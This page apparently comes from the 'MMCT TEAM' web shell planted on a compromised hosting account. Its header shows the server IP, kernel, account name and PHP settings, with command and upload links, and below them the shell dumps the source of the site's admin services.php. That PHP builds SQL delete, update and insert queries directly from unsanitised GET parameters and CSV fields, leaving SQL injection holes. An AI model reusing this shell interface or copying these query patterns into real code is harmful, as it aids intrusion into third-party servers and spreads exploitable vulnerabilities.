MMCT TEAM
Server IP : 2a02:4780:11:1017:0:31f1:b895:8  /  Your IP : 216.73.216.163
Web Server : LiteSpeed
System : Linux in-mum-web917.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u837925013 ( 837925013)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u837925013/domains/tech2wizard.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u837925013/domains/tech2wizard.com/public_html/admin/services.php
<?php 
$page='services1';
$page1='services';
include('inc/sidebar.php') ;
if(isset($_GET['del'])){
    $id = $_GET['del'];
    $del = mysqli_query($con,"delete from service where id = '$id'");
    if($del){
        echo "<script type='text/javascript'>window.location=\"services.php\";</script>"; 
    }
}
if(isset($_GET['act'])){ 
    $id = $_GET['act'];
    $act = mysqli_query($con,"UPDATE `service` SET `status` = '0' where id = '$id'");
    if($act){
    echo'<div id="hide-toast"class="toast" role="alert" aria-live="assertive" aria-atomic="true">
        <div class="toast-body alert">
            <i class="fa fa-warning"></i> DeActivated.<i class="fa fa-close"id="close"></i>
        </div>
    </div>';
    echo "<script type='text/javascript'>window.location=\"services.php\";</script>";
    
    }
}
if(isset($_GET['ina'])){
    $id = $_GET['ina'];
    $ina = mysqli_query($con,"UPDATE `service` SET `status` = '1' where id = '$id'");
    if($ina){
    echo'<div id="hide-toast"class="toast" role="success" aria-live="assertive" aria-atomic="true">
        <div class="toast-body success">
            <i class="fa fa-warning"></i> Activated.<i class="fa fa-close"id="close"></i>
        </div>
    </div>';
    echo "<script type='text/javascript'>window.location=\"services.php\";</script>";
    }
}
    
?>
<?php
 if(isset($_POST["Import"])){
    $brand=$_POST["brand_id"];
    $model=$_POST["model_id"];
    $filename=$_FILES["file"]["tmp_name"];    
     if($_FILES["file"]["size"] > 0){
        $count = 0;
        $file = fopen($filename, "r");
          while (($getData = fgetcsv($file, 10000, ",")) !== FALSE){ 
            $count++;
            if ($count!=1 && $count<11) {
                $sql = "INSERT into service (`brand_id`, `model_id`, `service_name`, `image`, `price`, `status`, `date`) values ('".$brand."','".$model."','".$getData[0]."','".$getData[1]."','".$getData[2]."','".$getData[3]."','".date("Y-m-d h:i:s")."')";
                $result = mysqli_query($con, $sql);
                if(!isset($result)){
                  echo "<script type=\"text/javascript\">
                      alert(\"Invalid File:Please Upload CSV File.\");
                      window.location = \"services.php\"
                      </script>";    
                }else {
                    echo "<script type=\"text/javascript\">
                    alert(\"CSV File has been successfully Imported.\");
                    window.location = \"services.php\"
                  </script>";
                }
            }
        
        }
      
        fclose($file);  
     }else{
          echo "<script type=\"text/javascript\">
                      alert(\"Network Error \");
                      window.location = \"services.php\"
                      </script>";
     }
  } 
  

  
 ?>

<!-- navbar-wrapper start -->
  <div class="body-wrapper">
    <div class="bodywrapper__inner">
        <div class="row align-items-center mb-30 justify-content-between">
            <div class="col-lg-4 col-sm-6">
                <h6 class="page-title">All Mobile Services</h6>
            </div>
            <div class="col-lg-8 col-sm-6 text-sm-right mt-sm-0 mt-3 right-part">
                <div class="d-flex flex-wrap justify-content-end flex-gap-8">
                <a type="button"href="services-add.php" class="btn btn--primary"style="height: 38px;"><i class="fa fa-plus"></i>Add New</a>
                <button type="button" class="btn btn--primary csvModal" data-modal_title="Import Brands"data-toggle="modal" data-target="#csvModal"style="height: 38px;"><i class="fa fa-plus"></i>Import</button>
                </div>
            </div>
        </div>

        <div class="row">
            <div class="col-lg-12">
                <div class="card">
                    <div class="card-body p-0">
                        <div class="table-responsive--md table-responsive">
                            <table id="example"class="table table--light style--two table-striped">
                                <thead>
                                    <tr>
                                        <th><input type="checkbox" id="select_all"></th>
                                        <th>SL</th>
                                        <th>Service Image</th>
                                        <th>Brand Name</th>
                                        <th>Model Name</th>
                                        <th>Service Name</th>
                                        <th>Price</th>
                                        <th>Action</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    <?php	
                                	$sql= "SELECT * FROM service ORDER BY id DESC";
                                	$qry= mysqli_query($con,$sql);
                                	$i=0;
                                	while($data= mysqli_fetch_array($qry))
                                	{ $i++; 
                                  ?>
                                    
                                    <tr id="<?php echo $data["id"]; ?>">
                                        <td><input type="checkbox" class="emp_checkbox" data-emp-id="<?php echo $data["id"]; ?>"></td>
                                        <td data-label="SL"><?php echo $i; ?></td>
                                        <td data-label="News"><img src="<?php echo SERVICES_SITE_PATH.$data['image']; ?>"style="width:30px;height:30px;"></td>
                                        <td>
                                        <?php	
                                        	$brand_data1= mysqli_fetch_array(mysqli_query($con,"SELECT * FROM brand WHERE id='".$data['brand_id']."'"));
                                            echo $brand_data1['brand'];
                                        ?>
                                        </td>
                                        <td>
                                        <?php	
                                        	$model_data1= mysqli_fetch_array(mysqli_query($con,"SELECT * FROM model WHERE id='".$data['model_id']."'"));
                                            echo $model_data1['model'];
                                        ?>
                                        </td>
                                        <td data-label="Name"><?php if(!empty($data['service_name'])){ echo $data['service_name']; }?></td>
                                        <td data-label="Name"><?php if(!empty($data['price'])){ echo '₹ '.number_format($data['price']); } ?></td>
                                        
                                          
                                        <td data-label="Action">
                                            <?php if($data['status']==1){ ?>
                                            <button onclick="location.reload();location.href='services.php?act=<?php echo $data['id'];?>'" type="button" class="icon-btn btn-success">ACTIVE</button>
                                            <?php }else{?>
                                            <button onclick="location.reload();location.href='services.php?ina=<?php echo $data['id'];?>'" type="button" class="icon-btn btn-danger">DEACTIVE</button>
                                            <?php } ?>
                                            <a href="services-add.php?id=<?php echo $data['id'];?>" type="button" class="icon-btn btn-success">EDIT</a>
                                            <a href="services.php?del=<?php echo $data['id'];?>" onclick="return confirm('Are you sure you want to delete this?');"type="button" class="icon-btn btn-danger">DELETE</a>
                                        </td>
                                    </tr>
                                    <?php } ?>
                                </tbody>
                            </table>
                            <div class="well"style="padding: 10px;">
                    			<span class="rows_selected" id="select_count">0 Selected</span>
                    			<a type="button" id="delete_records" class="icon-btn btn-danger text-white">Delete</a>
                    		</div>
                        </div>
                    </div>
                </div>
            </div>
        </div>       
    </div>
    <!-- bodywrapper__inner end -->
</div>
<!-- body-wrapper end -->

    </div>
 
 <!-- body-wrapper end -->
    </div>
<div class="modal fade" id="csvModal" tabindex="-1" role="dialog" aria-labelledby="csvModalLabel" aria-hidden="true">
    <div class="modal-dialog" role="document">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="exampleModalLabel">Import Services</h5>
                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                    <span aria-hidden="true">&times;</span>
                </button>
            </div>
           <form class="form-horizontal" action="" method="post" name="upload_excel" enctype="multipart/form-data">
                
                <div class="modal-body">
                    <div class="form-group">
                        <label>Select Brand</label>
                        <select  class="form-control"  name="brand_id"id="brandID"  required="" >
                            <option value="">Select Brand</option>
                            <?php	
                            	$sql_brand= mysqli_query($con,"SELECT * FROM brand WHERE status=1 ORDER BY id DESC");
                            	while($brand_data= mysqli_fetch_array($sql_brand))
                            	{
                            ?>
                            <option value="<?php echo $brand_data['id'] ?>" <?php if($brand_data['id']==$service_data['brand_id']){ echo 'selected'; } ?>><?php echo $brand_data['brand'] ?></option>
                            <?php } ?>
                        </select>
                    </div>
                    <div class="form-group">
                        <label>Select Model</label>
                        <select  class="form-control"  name="model_id"id="modelID"  required="" >
                            <option value="">Select Brand First</option>
                            <?php	
                            	$sql_model= mysqli_query($con,"SELECT * FROM model WHERE brand_id='".$service_data['brand_id']."' AND  status=1 ORDER BY id DESC");
                            	while($model_data= mysqli_fetch_array($sql_model))
                            	{
                            ?>
                            <option value="<?php echo $model_data['id'] ?>" <?php if($model_data['id']==$service_data['model_id']){ echo 'selected'; } ?>><?php echo $model_data['model'] ?></option>
                            <?php } ?>
                            
                        </select>
                    </div>
                    <div class="form-group">
                        <label class="form-control-label font-weight-bold">Select CSV File<span class="text-danger">*</span></label>
                        <input type="file" name="file" id="file" class="input-large" accept=".csv"required style="width:100%;padding: 6px;border: 1px solid #80808075;">
                        <small class="mt-10">Download Sample File<a href="export/services-sample.csv" download="services-sample.csv"> <i class="fa fa-download" aria-hidden="true"></i> <small>DOWNLOAD</small></a> </small> <small class="mt-10">Download Image Name<a href="export/image.jpg" download="image.jpg"> <i class="fa fa-download" aria-hidden="true"></i> <small>DOWNLOAD</small></a> </small> 
                    </div>
                    <div class="status"></div>
                </div>
                <div class="modal-footer">
                    <button type="submit" id="submit" name="Import" class="btn btn--primary button-loading" data-loading-text="Loading...">Import</button>
                </div>
            </form>
        </div>
    </div>
</div>
<!-- jQuery library -->
<script>
     // delete selected records
$('#delete_records').on('click', function(e) { 
	var employee = [];  
	$(".emp_checkbox:checked").each(function() {  
		employee.push($(this).data('emp-id'));
	});	
	if(employee.length <=0)  {  
		alert("Please select records.");  
	}  
	else { 	
		WRN_PROFILE_DELETE = "Are you sure you want to delete "+(employee.length>1?"these":"this")+" row?";  
		var checked = confirm(WRN_PROFILE_DELETE);  
		if(checked == true) {			
			var selected_values = employee.join(","); 
			$.ajax({ 
				type: "POST",  
				url: "inc/delete_brand.php",  
				cache:false,  
				data: 'service='+selected_values,  
				success: function(dataResult){
                var dataResult = JSON.parse(dataResult);
                  if(dataResult.statusCode==200){
                      localStorage.setItem('Status','success')
                      localStorage.setItem('Message', 'Selected Data Deleted');
                      location.reload();	
                      	
                  }
                  else if(dataResult.statusCode==201){
                      iziToast.error({
                        position: 'topRight',
                        title: 'Error',
                        message: 'Network Problem!',
                    });
                  }
              }  
			});				
		}  
	}  
});
$(document).ready(function(){
  //get it if Status key found
  if(localStorage.getItem("Status"))
  {
    var status = localStorage.getItem('Status');
    var message = localStorage.getItem('Message');
    notify(status,message);
      localStorage.clear();
  }
});
 </script>
 <script>
    $(document).ready(function() {
        $('#brandID').on('change', function() {
            var brand_id = this.value;
                $.ajax({
                    url: "inc/fetch-model.php",
                    type: "POST",
                    data: {
                        brand_id: brand_id
                    },
                    cache: false,
                    success: function(result){
                        $("#modelID").html(result);
                    }
            });
        });
    });
</script>
<?php include('inc/footer.php') ?>

MMCT - 2023